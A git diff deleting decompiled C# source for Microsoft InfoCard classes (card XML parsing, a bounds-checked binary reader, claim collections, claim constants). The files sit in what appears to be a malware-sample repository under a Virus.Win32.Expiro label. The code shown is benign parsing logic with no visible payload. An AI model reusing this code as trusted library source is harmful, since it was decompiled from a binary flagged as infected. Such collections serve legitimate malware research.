InvalidCardException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - this.Language = reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - this.ReadBaseInfoCard(reader); - if (this.m_isSelfIssued && this.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.ReadInfoCardPrivateData(reader); - } - - private void ReadInfoCardPrivateData(XmlReader reader) - { - while (reader.Read()) - { - switch (reader.LocalName) - { - case "RoamingInformationCard": - if (XmlNodeType.EndElement == reader.NodeType) - return; - continue; - case "MasterKey": - byte[] array = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (this.IsPinProtected) - { - if (array == null || PinProtectionHelper.EncryptedMasterKeySize != array.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.m_masterKey = new InfoCardMasterKey(this.m_id, array); - continue; - } - this.m_masterKey = array != null && 32 == array.Length ? new InfoCardMasterKey(this.m_id, array) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - continue; - case "ClaimValueList": - this.ReadClaimValues(reader); - continue; - default: - continue; - } - } - } - - private void ReadBaseInfoCard(XmlReader reader) - { - try - { - while (reader.Read()) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType && ("InformationCard" == reader.LocalName || "InformationCardMetaData" == reader.LocalName)) - { - reader.ReadEndElement(); - break; - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI && XmlNodeType.Element == reader.NodeType) - { - if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && "IssuerInformation" == reader.LocalName) - { - if (this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("MultipleIssuerInformation"))); - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.ReadXml(reader); - if (this.m_extendedInformation == null) - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - this.m_extendedInformation.Add(informationEntry); - this.m_readIssuerInformation = true; - continue; - } - new InfocardExtendedInformationEntry().ReadXml(reader); - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType) - { - switch (reader.LocalName) - { - case "CardId": - this.Id = new Uri(reader.ReadString().Trim()); - continue; - case "CardVersion": - this.Epoch = Convert.ToUInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - case "CardImage": - this.LogoMimeType = reader.GetAttribute("MimeType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(this.LogoMimeType)) - this.LogoMimeType = reader.GetAttribute("MimeType"); - this.Logo = Utility.ReadByteStreamFromBase64(reader).ToArray(); - continue; - case "CardName": - this.Name = reader.ReadString().Trim(); - continue; - case "IssuerName": - this.IssuerName = reader.ReadString().Trim(); - continue; - case "Issuer": - this.Issuer = new Uri(reader.ReadString().Trim()); - continue; - case "TimeExpires": - this.ExpiresOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "TimeIssued": - this.IssuedOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "SupportedClaimTypeList": - this.ReadClaims(reader); - continue; - case "SupportedTokenTypeList": - this.TokenTypes = this.ReadTokenType(reader).ToArray(); - continue; - case "RequireAppliesTo": - string attribute = reader.GetAttribute("Optional", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Optional"); - this.RequireAppliesto = string.IsNullOrEmpty(attribute) || !("true" == attribute) && !("1" == attribute) ? RequireAppliesToStatus.Required : RequireAppliesToStatus.Optional; - continue; - case "TokenServiceList": - this.ReadAuthServices(reader); - continue; - case "PrivacyNotice": - this.ReadPrivacyPolicy(reader); - continue; - case "IsSelfIssued": - this.IsSelfIssued = Convert.ToBoolean(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - if (this.IsSelfIssued && this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ExtendedInfoInSelfIssued"))); - continue; - case "PinDigest": - byte[] array1 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array1 != null && array1.Length != 0) - { - this.m_pinHash = array1; - continue; - } - continue; - case "HashSalt": - byte[] array2 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array2 != null && array2.Length != 0) - { - this.HashSalt = array2; - continue; - } - continue; - case "TimeLastUpdated": - string s = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(s)) - { - this.LastUpdate = XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - continue; - } - continue; - case "IssuerId": - byte[] array3 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array3 != null && array3.Length != 0) - { - this.IssuerIdentifierAsBytes = array3; - continue; - } - continue; - case "BackgroundColor": - this.BackgroundColor = Convert.ToInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - default: - continue; - } - } - else if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && "RequireStrongRecipientIdentity" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.GetRPIdentityRequirement().StrongIdentityRequired = true; - } - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - private void ReadPrivacyPolicy(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - string str = reader.IsStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("Version", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(str)) - str = reader.GetAttribute("Version"); - if (!string.IsNullOrEmpty(str)) - this.m_privacyPolicyVersion = Convert.ToUInt32(str, (IFormatProvider) CultureInfo.InvariantCulture); - this.m_privacyPolicyLink = reader.ReadString().Trim(); - } - - private void ReadClaimValues(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("ClaimValueList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "ClaimValue" == reader.LocalName && XmlNodeType.Element == reader.NodeType) - { - string attribute = reader.GetAttribute("Uri", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - reader.Read(); - string s = reader.ReadString().Trim(); - if (!this.IsPinProtected && s.Length > (int) byte.MaxValue) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("TooLongClaimValue"))); - if (!string.IsNullOrEmpty(attribute)) - { - if (!this.m_claims.ContainsKey(attribute)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (!string.IsNullOrEmpty(s) && !this.IsPinProtected) - { - if (InfoCardConstants.Gender == attribute && !("0" == s) && !("1" == s) && !("2" == s)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (InfoCardConstants.DateOfBirth == attribute) - { - try - { - XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - } - } - } - this.m_claims[attribute].Value = s; - } - } - } - } - - private void ReadClaims(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedClaimTypeList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "SupportedClaimType" == reader.LocalName) - { - InfoCardClaim claim = this.ReadSingleClaim(reader); - if (claim != null) - this.AddClaim(claim); - } - } - } - - private InfoCardClaim ReadSingleClaim(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - string displaytag = (string) null; - string description = (string) null; - string str = (string) null; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - if (reader.IsEmptyElement) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - while (reader.Read()) - { - switch (reader.LocalName) - { - case "SupportedClaimType": - if (XmlNodeType.EndElement == reader.NodeType) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - continue; - case "Description": - description = reader.ReadString().Trim(); - continue; - case "DisplayTag": - displaytag = reader.ReadString().Trim(); - continue; - case "ClaimValue": - if (this.IsSelfIssued) - { - str = reader.ReadString().Trim(); - continue; - } - continue; - default: - continue; - } - } - return (InfoCardClaim) null; - } - - private void ReadAuthServices(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - while (reader.Read()) - { - switch (reader.LocalName) - { - case "TokenService": - if (reader.NodeType != XmlNodeType.EndElement) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.ReadXml(reader); - if (!creationParameter.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidTokenService"))); - this.CreationParameters.Add(creationParameter); - continue; - } - continue; - case "TokenServiceList": - return; - default: - continue; - } - } - } - - private List ReadTokenType(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - List stringList = new List(); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedTokenTypeList" == reader.LocalName))) - { - if ("TokenType" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2005/02/trust" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && !reader.IsEmptyElement) - { - string str = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(str)) - stringList.Add(str); - } - } - return stringList; - } - - private enum PinAction : byte - { - NoPin, - PinSame, - PinAdded, - PinRemoved, - PinChanged, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardBinaryReader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardBinaryReader.cs deleted file mode 100644 index b21bb62b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardBinaryReader.cs +++ /dev/null @@ -1,146 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardBinaryReader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class InfoCardBinaryReader : BinaryReader - { - private static readonly char[] s_singleChar = new char[1] - { - 'a' - }; - private int m_charSize; - - public InfoCardBinaryReader(Stream stream, Encoding encoding) - : base(stream, encoding) - { - this.m_charSize = encoding.GetByteCount(InfoCardBinaryReader.s_singleChar); - } - - public InfoCardBinaryReader(Stream stream) - : this(stream, Encoding.Unicode) - { - } - - public override int Read() - { - this.EnsureBufferBounds(1L); - return base.Read(); - } - - public override int Read(byte[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override int Read(char[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override bool ReadBoolean() - { - this.EnsureBufferBounds(1L); - return base.ReadBoolean(); - } - - public override byte ReadByte() - { - this.EnsureBufferBounds(1L); - return base.ReadByte(); - } - - public override byte[] ReadBytes(int count) - { - this.EnsureBufferBounds((long) count); - return base.ReadBytes(count); - } - - public override char ReadChar() - { - this.EnsureBufferBounds((long) this.m_charSize); - return base.ReadChar(); - } - - public override char[] ReadChars(int count) - { - this.EnsureBufferBounds(Convert.ToInt64(this.m_charSize * count)); - return base.ReadChars(count); - } - - public override Decimal ReadDecimal() - { - this.EnsureBufferBounds(Convert.ToInt64(Marshal.SizeOf(typeof (Decimal)))); - return base.ReadDecimal(); - } - - public override double ReadDouble() - { - this.EnsureBufferBounds(8L); - return base.ReadDouble(); - } - - public override short ReadInt16() - { - this.EnsureBufferBounds(2L); - return base.ReadInt16(); - } - - public override int ReadInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadInt32(); - } - - public override long ReadInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadInt64(); - } - - public override sbyte ReadSByte() - { - this.EnsureBufferBounds(1L); - return base.ReadSByte(); - } - - public override float ReadSingle() - { - this.EnsureBufferBounds(4L); - return base.ReadSingle(); - } - - public override string ReadString() - { - this.EnsureBufferBounds((long) (this.m_charSize * this.PeekChar() + 4)); - return base.ReadString(); - } - - public override ushort ReadUInt16() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt16(); - } - - public override uint ReadUInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt32(); - } - - public override ulong ReadUInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadUInt64(); - } - - private void EnsureBufferBounds(long offset) - { - if ((ulong) (this.BaseStream.Position + offset) > (ulong) this.BaseStream.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidOrCorruptArgumentStream"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaim.cs deleted file mode 100644 index d5f2d4d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaim.cs +++ /dev/null @@ -1,92 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaim - { - private string m_id; - private string m_claimValue; - private string m_displayTag; - private string m_description; - - public InfoCardClaim() - { - } - - public InfoCardClaim(string id, string value) - : this(id, value, (string) null, (string) null) - { - } - - public InfoCardClaim(string id, string value, string description, string displaytag) - { - this.m_id = !string.IsNullOrEmpty(id) ? id : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (id)); - this.m_claimValue = value; - this.m_displayTag = displaytag; - this.m_description = description; - } - - public string Id => this.m_id; - - public string Value - { - get => this.m_claimValue; - set => this.m_claimValue = value; - } - - public string DisplayTag => this.m_displayTag; - - public string Description => this.m_description; - - public override string ToString() => this.m_claimValue; - - public void ThrowIfNotComplete() - { - if (string.IsNullOrEmpty(this.m_id)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - Utility.SerializeString(writer, this.m_id); - Utility.SerializeString(writer, this.m_displayTag); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_claimValue); - } - - public void DeSerialize(BinaryReader reader) - { - this.m_id = Utility.DeserializeString(reader); - this.m_displayTag = Utility.DeserializeString(reader); - this.m_description = Utility.DeserializeString(reader); - this.m_claimValue = Utility.DeserializeString(reader); - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - byte[] bytes = new UnicodeEncoding().GetBytes(this.m_claimValue); - this.m_claimValue = Convert.ToBase64String(pinHelper.Encrypt(bytes)); - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); - byte[] encrypted = Convert.FromBase64String(this.m_claimValue); - this.m_claimValue = unicodeEncoding.GetString(pinHelper.Decrypt(encrypted)); - } - - public InfoCardClaim Clone() => new InfoCardClaim((string) this.m_id.Clone(), string.IsNullOrEmpty(this.m_claimValue) ? (string) null : (string) this.m_claimValue.Clone(), string.IsNullOrEmpty(this.m_description) ? (string) null : (string) this.m_description.Clone(), string.IsNullOrEmpty(this.m_displayTag) ? (string) null : (string) this.m_displayTag.Clone()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaimCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaimCollection.cs deleted file mode 100644 index 97e5a8f9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardClaimCollection.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaimCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaimCollection : Dictionary - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - private InfoCardClaimCollection() - { - } - - public InfoCardClaimCollection(Uri infoCardId) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - } - - public void Add(InfoCardClaim claim) => this[claim.Id] = claim != null ? claim : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (claim)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream, bool selfIssued) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - int count = this.Count; - if (selfIssued && this.ContainsKey(InfoCardConstants.PPIDClaimsUri)) - --count; - writer.Write(count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (selfIssued) - { - if (InfoCardConstants.PPIDClaimsUri != keyValuePair.Key) - keyValuePair.Value.Serialize(writer); - } - else - keyValuePair.Value.Serialize(writer); - } - } - - public void AgentSerialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfoCardClaim infoCardClaim = new InfoCardClaim(); - infoCardClaim.DeSerialize(reader); - this[infoCardClaim.Id] = infoCardClaim; - } - } - - public void Save(StoreConnection con, bool selfIssued) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 2; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream, selfIssued); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - keyValuePair.Value.Encrypt(pinHelper); - } - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - { - keyValuePair.Value.Decrypt(pinHelper); - if (!string.IsNullOrEmpty(keyValuePair.Value.Value)) - { - if (InfoCardConstants.Gender == keyValuePair.Key && !("0" == keyValuePair.Value.Value) && !("1" == keyValuePair.Value.Value) && !("2" == keyValuePair.Value.Value)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - if (InfoCardConstants.DateOfBirth == keyValuePair.Key) - { - try - { - XmlConvert.ToDateTime(keyValuePair.Value.Value, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - throw; - } - } - } - } - } - } - - public InfoCardClaimCollection Clone() - { - InfoCardClaimCollection cardClaimCollection = new InfoCardClaimCollection(new Uri(this.m_infoCardId.OriginalString)); - cardClaimCollection.m_rowId = this.m_rowId; - foreach (KeyValuePair keyValuePair in (Dictionary) this) - cardClaimCollection[(string) keyValuePair.Key.Clone()] = keyValuePair.Value.Clone(); - return cardClaimCollection; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 2 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardConstants.cs deleted file mode 100644 index 9232ee1b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardConstants.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.IdentityModel.Claims; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class InfoCardConstants - { - private const int DEFAULT_MAX_MESSAGE_SIZE = 20971520; - private const int DEFAULT_MAX_MEX_CHAIN = 100; - private const string MAX_MESSAGE_KEY = "MaximumMessageSize"; - private const string MAX_MEX_CHAIN = "MaximumMexChain"; - private const string INFOCARD_REGISTRY_KEY = "software\\microsoft\\infocard"; - private static int s_maxMessageSize; - private static int s_maxMexChainLength; - private static string[] s_SelfIssuedClaims = new string[14] - { - InfoCardConstants.GivenName, - InfoCardConstants.Surname, - InfoCardConstants.EmailAddress, - InfoCardConstants.StreetAddress, - InfoCardConstants.Locality, - InfoCardConstants.StateOrProvince, - InfoCardConstants.PostalCode, - InfoCardConstants.Country, - InfoCardConstants.HomePhone, - InfoCardConstants.OtherPhone, - InfoCardConstants.MobilePhone, - InfoCardConstants.DateOfBirth, - InfoCardConstants.Gender, - InfoCardConstants.Webpage - }; - private static Dictionary s_claimDisplayTags = new Dictionary(); - private static Dictionary s_claimDescription = new Dictionary(); - private static XmlDictionaryReaderQuotas s_defaultQuotas = new XmlDictionaryReaderQuotas(); - private static List s_localTokenFactoryWhiteList = new List(); - private static List s_policyElementsToBeProcessed = new List(); - - public static int MaximumMessageSize => InfoCardConstants.s_maxMessageSize; - - public static int MaximumMexChainLength => InfoCardConstants.s_maxMexChainLength; - - public static string RegistryKey => "software\\microsoft\\infocard"; - - public static string GivenName => ClaimTypes.GivenName; - - public static string EmailAddress => ClaimTypes.Email; - - public static string Surname => ClaimTypes.Surname; - - public static string StreetAddress => ClaimTypes.StreetAddress; - - public static string Locality => ClaimTypes.Locality; - - public static string StateOrProvince => ClaimTypes.StateOrProvince; - - public static string PostalCode => ClaimTypes.PostalCode; - - public static string Country => ClaimTypes.Country; - - public static string HomePhone => ClaimTypes.HomePhone; - - public static string OtherPhone => ClaimTypes.OtherPhone; - - public static string MobilePhone => ClaimTypes.MobilePhone; - - public static string DateOfBirth => ClaimTypes.DateOfBirth; - - public static string Gender => ClaimTypes.Gender; - - public static string PPID => ClaimTypes.PPID; - - public static string Webpage => ClaimTypes.Webpage; - - public static bool DoesLocalTokenFactoryWhiteListContain(string nameSpaceValue, string value) => InfoCardConstants.s_localTokenFactoryWhiteList.Contains(nameSpaceValue + "/" + value); - - public static bool DoesPolicyElementsToBeProcessedListContain( - string nameSpaceValue, - string value) - { - return InfoCardConstants.s_policyElementsToBeProcessed.Contains(nameSpaceValue + "/" + value); - } - - public static XmlDictionaryReaderQuotas DefaultQuotas => InfoCardConstants.s_defaultQuotas; - - public static string[] SelfIssuedClaimsUris => InfoCardConstants.s_SelfIssuedClaims; - - public static string PPIDClaimsUri => InfoCardConstants.PPID; - - public static string ClaimDisplayTag(string key) => InfoCardConstants.s_claimDisplayTags.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDisplayTags[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - public static string ClaimsDescription(string key) => InfoCardConstants.s_claimDescription.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDescription[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - static InfoCardConstants() - { - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.GivenName, "GivenNameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.EmailAddress, "EmailAddressText"); - 